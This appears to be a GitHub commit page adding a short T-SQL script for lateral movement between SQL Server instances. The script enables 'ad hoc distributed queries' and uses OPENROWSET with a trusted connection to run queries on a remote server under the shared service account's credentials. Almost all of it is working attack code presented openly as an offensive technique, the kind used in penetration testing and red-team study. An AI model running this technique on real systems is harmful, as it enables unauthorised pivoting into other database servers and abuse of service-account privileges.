Skip to content

Commit bbe5846

Browse files
authored
Create Lateral-Movement-Shared-Svc-Account-OpenRowSet.tsql
1 parent 4ec1381 commit bbe5846

1 file changed

Lines changed: 15 additions & 0 deletions

File tree

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
-- Enable advanced options
2+
EXEC sp_configure 'show advanced options', 1
3+
RECONFIGURE
4+
GO
5+
6+
-- Enabled ad hoc queries
7+
EXEC sp_configure 'ad hoc distributed queries', 1
8+
RECONFIGURE
9+
GO
10+
11+
-- Execute SQL query on a remote SQL Server as a sysadmin. This uses the SQL Server service account to authenticate to the remote SQL Server instance.
12+
DECLARE @sql NVARCHAR(MAX)
13+
set @sql = 'select a.* from openrowset(''SQLNCLI'', ''Server=SQLSERVER2;Trusted_Connection=yes;'', ''select * from master.dbo.sysdatabases'') as a'
14+
select @sql
15+
EXEC sp_executeSQL @sql

0 commit comments

Comments
 (0)